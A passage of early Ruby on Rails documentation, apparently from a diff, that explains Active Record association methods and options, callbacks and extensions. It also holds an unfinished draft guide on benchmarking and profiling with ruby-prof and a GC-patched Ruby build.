If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.
+
:select
+
The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+
+
+
+
+
If you set the :select option on a belongs_to association, you should also set the foreign_key option to guarantee the correct results.
+
+
+
:validate
+
If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.
+
4.1.3. When are Objects Saved?
+
Assigning an object to a belongs_to association does not automatically save the object. It does not save the associated object either.
+
4.2. The has_one Association
+
The has_one association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use belongs_to instead.
+
4.2.1. Methods Added by has_one
+
When you declare a has_one association, the declaring class automatically gains five methods related to the association:
+
+
+
+association(force_reload = false)
+
+
+
+
+association=(associate)
+
+
+
+
+association.nil?
+
+
+
+
+build_association(attributes = {})
+
+
+
+
+create_association(attributes = {})
+
+
+
+
In all of these methods, association is replaced with the symbol passed as the first argument to has_one. For example, given the declaration:
+
+
+
class Supplier < ActiveRecord::Base
+ has_one :account
+end
+
+
Each instance of the Supplier model will have these methods:
The association method returns the associated object, if any. If no associated object is found, it returns nil.
+
+
+
@account=@supplier.account
+
+
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.
+
association=(associate)
+
The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+
+
+
@suppler.account =@account
+
+
association.nil?
+
The association.nil? method returns true if there is no associated object.
+
+
+
if@supplier.account.nil?
+ @msg="No account found for this supplier"
+end
+
+
build_association(attributes = {})
+
The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
In many situations, you can use the default behavior of has_one without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_one association. For example, an association with several options might look like this:
Setting the :as option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.
+
:class_name
+
If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:
+
+
+
class Supplier < ActiveRecord::Base
+ has_one :account,:class_name =>"Billing"
+end
+
+
:conditions
+
The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).
If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the association object to NULL.
+
:foreign_key
+
By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:
+
+
+
class Supplier < ActiveRecord::Base
+ has_one :account,:foreign_key =>"supp_id"
+end
+
+
+
+
+
+
+
In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+
+
:include
+
You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
If you frequently retrieve representatives directly from suppliers (@supplier.account.representative), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause). Because a has_one association will only retrieve a single associated object, this option should not be needed.
+
:primary_key
+
By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.
+
:readonly
+
If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.
+
:select
+
The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
:source
+
The :source option specifies the source association name for a has_one :through association.
+
:source_type
+
The :source_type option specifies the source association type for a has_one :through association that proceeds through a polymorphic association.
+
:through
+
The :through option specifies a join model through which to perform the query. has_one :through associations are discussed in detail later in this guide.
+
:validate
+
If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.
+
4.2.3. When are Objects Saved?
+
When you assign an object to a has_one association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
+
If either of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.
+
If the parent object (the one declaring the has_one association) is unsaved (that is, new_record? returns true) then the child objects are not saved.
+
If you want to assign an object to a has_one association without saving the object, use the association.build method.
+
4.3. The has_many Association
+
The has_many association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
+
4.3.1. Methods Added
+
When you declare a has_many association, the declaring class automatically gains 13 methods related to the association:
+
+
+
+collection(force_reload = false)
+
+
+
+
+collection<<(object, …)
+
+
+
+
+collection.delete(object, …)
+
+
+
+
+collection=objects
+
+
+
+
+collection_singular_ids
+
+
+
+
+collection_singular_ids=ids
+
+
+
+
+collection.clear
+
+
+
+
+collection.empty?
+
+
+
+
+collection.size
+
+
+
+
+collection.find(…)
+
+
+
+
+collection.exist?(…)
+
+
+
+
+collection.build(attributes = {}, …)
+
+
+
+
+collection.create(attributes = {})
+
+
+
+
In all of these methods, collection is replaced with the symbol passed as the first argument to has_many, and collection_singular is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+
+
class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+
Each instance of the customer model will have these methods:
The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+
+
@orders=@customer.orders
+
+
collection<<(object, …)
+
The collection<< method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+
+
+
@customer.orders <<@order1
+
+
collection.delete(object, …)
+
The collection.delete method removes one or more objects from the collection by setting their foreign keys to NULL.
+
+
+
@customer.orders.delete(@order1)
+
+
+
+
+
+
+
Objects will be in addition destroyed if they're associated with :dependent ⇒ :destroy, and deleted if they're associated with :dependent ⇒ :delete_all.
+
+
+
collection=objects
+
The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
collection_singular_ids
+
The collection_singular_ids method returns an array of the ids of the objects in the collection.
+
+
+
@order_ids=@customer.order_ids
+
+
_collection_singular_ids=ids
+
The _collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
collection.clear
+
The collection.clear method removes every object from the collection. This destroys the associated objects if they are associated with :dependent ⇒ :destroy, deletes them directly from the database if :dependent ⇒ :delete_all, and otherwise sets their foreign keys to NULL.
+
collection.empty?
+
The collection.empty? method returns true if the collection does not contain any associated objects.
+
+
+
<% if @customer.orders.empty? %>
+ No Orders Found
+<% end %>
+
+
collection.size
+
The collection.size method returns the number of objects in the collection.
+
+
+
@order_count=@customer.orders.size
+
+
collection.find(…)
+
The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find.
The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.
+
collection.build(attributes = {}, …)
+
The collection.build method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will not yet be saved.
The collection.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object will be saved (assuming that it passes any validations).
In many situations, you can use the default behavior for has_many without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_many association. For example, an association with several options might look like this:
Setting the :as option indicates that this is a polymorphic association, as discussed earlier in this guide.
+
:class_name
+
If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is Transaction, you'd set things up this way:
+
+
+
class Customer < ActiveRecord::Base
+ has_many :orders,:class_name =>"Transaction"
+end
+
+
:conditions
+
The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).
If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @customer.confirmed_orders.create or @customer.confirmed_orders.build will create orders where the confirmed column has the value true.
+
:counter_sql
+
Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.
+
+
+
+
+
+
If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT … FROM clause of your :finder_sql statement.
+
+
+
:dependent
+
If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the :dependent option to :delete_all, then deleting this object will delete the associated objects without calling their destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the associated objects to NULL.
+
+
+
+
+
+
This option is ignored when you use the :through option on the association.
+
+
+
:extend
+
The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+
:finder_sql
+
Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
+
:foreign_key
+
By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:
+
+
+
class Customer < ActiveRecord::Base
+ has_many :orders,:foreign_key =>"cust_id"
+end
+
+
+
+
+
+
+
In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+
+
:group
+
The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.
You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
If you frequently retrieve line items directly from customers (@customer.orders.line_items), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset ⇒ 11, it will skip the first 10 records.
+
:order
+
The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).
By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.
+
:readonly
+
If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.
+
:select
+
The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+
+
+
+
+
If you specify your own :select, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+
+
:source
+
The :source option specifies the source association name for a has_many :through association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+
:source_type
+
The :source_type option specifies the source association type for a has_many :through association that proceeds through a polymorphic association.
+
:through
+
The :through option specifies a join model through which to perform the query. has_many :through associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.
+
:uniq
+
Specify the :uniq ⇒ true option to remove duplicates from the collection. This is most useful in conjunction with the :through option.
+
:validate
+
If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.
+
4.3.3. When are Objects Saved?
+
When you assign an object to a has_many association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
+
If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.
+
If the parent object (the one declaring the has_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
If you want to assign an object to a has_many association without saving the object, use the collection.build method.
+
4.4. The has_and_belongs_to_many Association
+
The has_and_belongs_to_many association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+
4.4.1. Methods Added
+
When you declare a has_and_belongs_to_many association, the declaring class automatically gains 13 methods related to the association:
+
+
+
+collection(force_reload = false)
+
+
+
+
+collection<<(object, …)
+
+
+
+
+collection.delete(object, …)
+
+
+
+
+collection=objects
+
+
+
+
+collection_singular_ids
+
+
+
+
+collection_singular_ids=ids
+
+
+
+
+collection.clear
+
+
+
+
+collection.empty?
+
+
+
+
+collection.size
+
+
+
+
+collection.find(…)
+
+
+
+
+collection.exist?(…)
+
+
+
+
+collection.build(attributes = {})
+
+
+
+
+collection.create(attributes = {})
+
+
+
+
In all of these methods, collection is replaced with the symbol passed as the first argument to has_many, and collection_singular is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+
+
class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+
+
Each instance of the part model will have these methods:
If the join table for a has_and_belongs_to_many association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+
+
+
+
+
+
The use of extra attributes on the join table in a has_and_belongs_to_many association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a has_many :through association instead of has_and_belongs_to_many.
+
+
+
collection(force_reload = false)
+
The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+
+
@assemblies=@part.assemblies
+
+
collection<<(object, …)
+
The collection<< method adds one or more objects to the collection by creating records in the join table.
+
+
+
@part.assemblies <<@assembly1
+
+
+
+
+
+
+
This method is aliased as collection.concat and collection.push.
+
+
+
collection.delete(object, …)
+
The collection.delete method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+
+
@part.assemblies.delete(@assembly1)
+
+
collection=objects
+
The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
collection_singular_ids
+
# Returns an array of the associated objects' ids
+
The collection_singular_ids method returns an array of the ids of the objects in the collection.
+
+
+
@assembly_ids=@part.assembly_ids
+
+
collection_singular_ids=ids
+
The collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
collection.clear
+
The collection.clear method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.
+
collection.empty?
+
The collection.empty? method returns true if the collection does not contain any associated objects.
+
+
+
<% if @part.assemblies.empty? %>
+ This part is not used in any assemblies
+<% end %>
+
+
collection.size
+
The collection.size method returns the number of objects in the collection.
+
+
+
@assembly_count=@part.assemblies.size
+
+
collection.find(…)
+
The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find. It also adds the additional condition that the object must be in the collection.
The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.
+
collection.build(attributes = {})
+
The collection.build method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will not yet be saved.
The collection.create method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object will be saved (assuming that it passes any validations).
In many situations, you can use the default behavior for has_and_belongs_to_many without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a has_and_belongs_to_many association. For example, an association with several options might look like this:
+
+
+
class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,:uniq =>true,:read_only =>true
+end
+
+
The has_and_belongs_to_many association supports these options:
+
+
+
+:association_foreign_key
+
+
+
+
+:class_name
+
+
+
+
+:conditions
+
+
+
+
+:counter_sql
+
+
+
+
+:delete_sql
+
+
+
+
+:extend
+
+
+
+
+:finder_sql
+
+
+
+
+:foreign_key
+
+
+
+
+:group
+
+
+
+
+:include
+
+
+
+
+:insert_sql
+
+
+
+
+:join_table
+
+
+
+
+:limit
+
+
+
+
+:offset
+
+
+
+
+:order
+
+
+
+
+:readonly
+
+
+
+
+:select
+
+
+
+
+:uniq
+
+
+
+
+:validate
+
+
+
+
:association_foreign_key
+
By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix _id added. The :association_foreign_key option lets you set the name of the foreign key directly:
+
+
+
+
+
+
The :foreign_key and :association_foreign_key options are useful when setting up a many-to-many self-join. For example:
+
+
+
+
+
class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends,:class_name =>"User",
+ :foreign_key =>"this_user_id",:association_foreign_key =>"other_user_id"
+end
+
+
:class_name
+
If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is Gadget, you'd set things up this way:
+
+
+
class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,:class_name =>"Gadget"
+end
+
+
:conditions
+
The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).
+
+
+
class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,:conditions =>"factory = 'Seattle'"
+end
+
+
You can also set conditions via a hash:
+
+
+
class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,:conditions =>{:factory =>'Seattle'}
+end
+
+
If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @parts.assemblies.create or @parts.assemblies.build will create orders where the factory column has the value "Seattle".
+
:counter_sql
+
Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.
+
+
+
+
+
+
If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT … FROM clause of your :finder_sql statement.
+
+
+
:delete_sql
+
Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the :delete_sql option, you can specify a complete SQL statement to delete them yourself.
+
:extend
+
The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+
:finder_sql
+
Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
+
:foreign_key
+
By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:
+
+
+
class User < ActiveRecord::Base
+ has_and_belongs_to_many :friends,:class_name =>"User",
+ :foreign_key =>"this_user_id",:association_foreign_key =>"other_user_id"
+end
+
+
:group
+
The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.
+
+
+
class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,:group =>"factory"
+end
+
+
:include
+
You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.
+
:insert_sql
+
Normally Rails automatically generates the proper SQL to create links between the associated classes. With the :insert_sql option, you can specify a complete SQL statement to insert them yourself.
+
:join_table
+
If the default name of the join table, based on lexical ordering, is not what you want, you can use the :join_table option to override the default.
+
:limit
+
The :limit option lets you restrict the total number of objects that will be fetched through an association.
+
+
+
class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,:order =>"created_at DESC",:limit =>50
+end
+
+
:offset
+
The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset ⇒ 11, it will skip the first 10 records.
+
:order
+
The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).
+
+
+
class Parts < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies,:order =>"assembly_name ASC"
+end
+
+
:readonly
+
If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.
+
:select
+
The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
:uniq
+
Specify the :uniq ⇒ true option to remove duplicates from the collection.
+
:validate
+
If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.
+
4.4.3. When are Objects Saved?
+
When you assign an object to a has_and_belongs_to_many association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+
If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.
+
If the parent object (the one declaring the has_and_belongs_to_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
If you want to assign an object to a has_and_belongs_to_many association without saving the object, use the collection.build method.
+
4.5. Association Callbacks
+
Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a :before_save callback to cause something to happen just before an object is saved.
+
Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:
+
+
+
+before_add
+
+
+
+
+after_add
+
+
+
+
+before_remove
+
+
+
+
+after_remove
+
+
+
+
You define association callbacks by adding options to the association declaration. For example:
+
+
+
class Customer < ActiveRecord::Base
+ has_many :orders,:before_add =>:check_credit_limit
+
+ def check_credit_limit(order)
+ ...
+ end
+end
+
+
Rails passes the object being added or removed to the callback.
+
You can stack callbacks on a single event by passing them as an array:
+
+
+
class Customer < ActiveRecord::Base
+ has_many :orders,:before_add =>[:check_credit_limit,:calculate_shipping_charges]
+
+ def check_credit_limit(order)
+ ...
+ end
+
+ def calculate_shipping_charges(order)
+ ...
+ end
+end
+
+
If a before_add callback throws an exception, the object does not get added to the collection. Similarly, if a before_remove callback throws an exception, the object does not get removed from the collection.
+
4.6. Association Extensions
+
You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+
+
+
class Customer < ActiveRecord::Base
+ has_many :orders do
+ def find_by_order_prefix(order_number)
+ find_by_region_id(order_number[0..2])
+ end
+ end
+end
+
+
If you have an extension that should be shared by many associations, you can use a named extension module. For example:
Extensions can refer to the internals of the association proxy using these three accessors:
+
+
+
+proxy_owner returns the object that the association is a part of.
+
+
+
+
+proxy_reflection returns the reflection object that describes the association.
+
+
+
+
+proxy_target returns the associated object for belongs_to or has_one, or the collection of associated objects for has_many or has_and_belongs_to_many.
+
Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
+He is based in Cambridge (UK) and when not consuming fine ales he blogs at spacevatican.org.
+
+
+
+
Mike Gunderloy
+
Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
+work with Rails. His near-daily links and other blogging can be found at A Fresh Cup.
+
+
+
+
Emilio Tagua
+
Emilio Tagua — a.k.a. miloops — is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
+Cofounder of Eventioz. He has been using Rails since 2006 and contributing since early 2008.
+Can be found at gmail, twitter, freenode, everywhere as miloops.
+
+
+
+
Heiko Webers
+
Heiko Webers is the founder of bauland42, a German web application security consulting and development
+company focused on Ruby on Rails. He blogs at http://www.rorsecurity.info. After 10 years of desktop application development,
+Heiko has rarely looked back.
+
+
+
+
Tore Darell
+
Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
+and unobtrusive JavaScript. His home on the internet is his blog Sneaky Abstractions.
This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:
+
+
+
+Understand the various types of benchmarking and profiling metrics
+
+
+
+
+Generate performance/benchmarking tests
+
+
+
+
+Use GC patched Ruby binary to measure memory usage and object allocation
+
+
+
+
+Understand the information provided by Rails inside the log files
+
+
+
+
+Learn about various tools facilitating benchmarking and profiling
+
+
+
+
+
+
1. Why Benchmark and Profile ?
+
+
Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.
+
1.1. What is the difference between benchmarking and profiling ?
+
Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.
+
+
2. Using and understanding the log files
+
+
Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :
+
+
+
Processing ItemsController#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]
+ Session ID: BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA==--83cff4fe0a897074a65335
+ Parameters:{"action"=>"index","controller"=>"items"}
+Rendering template within layouts/items
+Rendering items/index
+Completed in 5ms (View:2, DB:0)|200 OK [http://localhost/items]
+
+
For this section, we're only interested in the last line from that log entry:
+
+
+
Completed in 5ms (View:2, DB:0)|200 OK [http://localhost/items]
+
+
This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
+
+
3. Helper methods
+
+
Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called benchmark() in all three components.
The above code benchmarks the multiple statments enclosed inside Project.benchmark("Creating project") do..end block and prints the results inside log files. The statement inside log files will look like:
+
+
+
Creating projectem (185.3ms)
+
+
Please refer to API docs for optional options to benchmark()
+
Similarly, you could use this helper method inside controllers ( Note that it's a class method here ):
<% benchmark("Showing projects partial") do %>
+ <%= render :partial =>@projects%>
+<% end %>
+
+
+
4. Performance Test Cases
+
+
Rails provides a very easy to write performance test cases, which look just like the regular integration tests.
+
If you have a look at test/performance/browsing_test.rb in a newly created Rails application:
+
+
+
require'test_helper'
+require'performance_test_help'
+
+# Profiling results for each test method are written to tmp/performance.
+class BrowsingTest < ActionController::PerformanceTest
+ def test_homepage
+ get '/'
+ end
+end
+
+
This is an automatically generated example performance test file, for testing performance of homepage(/) of the application.
+
4.1. Modes
+
4.1.1. Benchmarking
+
4.1.2. Profiling
+
4.2. Metrics
+
4.2.1. Process Time
+
CPU Cycles.
+
4.2.2. Memory
+
Memory taken.
+
4.2.3. Objects
+
Objects allocated.
+
4.2.4. GC Runs
+
Number of times the Ruby GC was run.
+
4.2.5. GC Time
+
Time spent running the Ruby GC.
+
4.3. Preparing Ruby and Ruby-prof
+
Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:
+
4.3.1. Compile
+
+
+
[lifo@null ~]$ mkdir rubygc
+[lifo@null ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
+[lifo@null ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
+[lifo@null ~]$ cd ruby-1.8.6-p111
+[lifo@null ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+[lifo@null ruby-1.8.6-p111]$ ./configure --prefix=/Users/lifo/rubygc
+[lifo@null ruby-1.8.6-p111]$ make && make install
+
+
4.3.2. Prepare aliases
+
Add the following lines in your ~/.profile for convenience:
+
+
+
alias gcruby='/Users/lifo/rubygc/bin/ruby'
+alias gcrake='/Users/lifo/rubygc/bin/rake'
+alias gcgem='/Users/lifo/rubygc/bin/gem'
+alias gcirb='/Users/lifo/rubygc/bin/irb'
+alias gcrails='/Users/lifo/rubygc/bin/rails'
If this fails, you can try to install it manually:
+
+
+
[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
+[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
+[lifo@null mysql-2.7]$ make && make install
+
+
4.4. Installing Jeremy Kemper's ruby-prof
+
We also need to install Jeremy's ruby-prof gem using our newly built ruby:
This will generate test/performance/homepage_test.rb:
+
+
+
require'test_helper'
+require'performance_test_help'
+
+class HomepageTest < ActionController::PerformanceTest
+ # Replace this with your real tests.
+ def test_homepage
+ get '/'
+ end
+end
+
+
Which you can modify to suit your needs.
+
4.6. Running tests
+
+
5. Understanding Performance Tests Outputs
+
+
5.1. Our First Performance Test
+
So how do we profile a request.
+
One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal.
After the tests runs for a few seconds you should see something like this.
+
+
+
HomepageTest#test_homepage (19 ms warmup)
+ process_time: 26 ms
+ memory: 298.79 KB
+ objects: 1917
+
+Finished in 2.207428 seconds.
+
+
Simple but efficient.
+
+
+
+Process Time refers to amount of time necessary to complete the action.
+
+
+
+
+memory is the amount of information loaded into memory
+
+
+
+
+object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process?
+
+
+
+
In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.
+
The Three types are
+
+
+
+Flat File - A simple text file with the data laid out in a grid
+
+
+
+
+Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action.
+
+
+
+
+Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process
+
+
+
+
+
+
+
+
+
KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.
+
+
+
Below are examples for Flat Files and Graphical Files
+%self - The percentage of time spent processing the method. This is derived from self_time/total_time
+
+
+
+
+total - The time spent in this method and its children.
+
+
+
+
+self - The time spent in this method.
+
+
+
+
+wait - Time processed was queued
+
+
+
+
+child - The time spent in this method's children.
+
+
+
+
+calls - The number of times this method was called.
+
+
+
+
+name - The name of the method.
+
+
+
+
Name can be displayed three seperate ways:
+ #toplevel - The root method that calls all other methods
+ MyObject#method - Example Hash#each, The class Hash is calling the method each
+ * <Object:MyObject>#test - The <> characters indicate a singleton method on a singleton class. Example <Class::Object>#allocate
+
Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.
+
So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms.
Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory (or is it strictly into the heap) can I get clarification on this minor point?
+
So for <Module::YAML>#quick_emit which is singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.
#TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?.
+
+
5.3. Graph Files
+
While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found Here
+
#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging.
+ )
